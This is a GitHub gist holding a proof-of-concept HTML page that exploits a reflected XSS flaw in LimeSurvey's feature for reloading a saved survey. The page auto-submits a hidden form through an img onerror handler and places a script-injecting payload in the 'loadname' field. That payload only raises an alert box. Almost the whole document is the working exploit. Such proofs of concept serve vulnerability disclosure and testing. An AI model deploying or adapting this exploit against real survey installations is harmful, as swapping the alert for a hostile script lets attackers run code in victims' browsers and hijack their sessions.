Skip to content

Instantly share code, notes, and snippets.

@marpie

marpie/xss-reload.html

Created September 4, 2012 17:09
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save marpie/3623601 to your computer and use it in GitHub Desktop.
Save marpie/3623601 to your computer and use it in GitHub Desktop.
Download ZIP
[LimeSurvey] XSS injection in the function to reload a saved survey
Raw
xss-reload.html
<html>
<head><title>poc: XSS Injection (reload saved survey)</title></head>
<body>
<img src="https://limesurvey/index.php?sid=51928" border=0 onerror="done();">
<script>
function done() {
document.forms["xssme"].submit();
}
</script>
<form id="xssme" action="https://limesurvey/index.php" method="POST">
<input type="hidden" name="move" value="movenext" />
<input type="hidden" name="sid" value="51928" />
<input type="hidden" name="loadall" value="Zwischengespeicherte&#32;Umfrage&#32;laden" />
<input type="hidden" name="scid" value="xyz" />
<input type="hidden" name="loadpass" value="xyz" />
<!-- payload --><input type="hidden" name="loadname" value="'><script>alert('XSS Injection');</script><input type='hidden' value='" />
<input type="submit" value="Submit form" />
</form>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment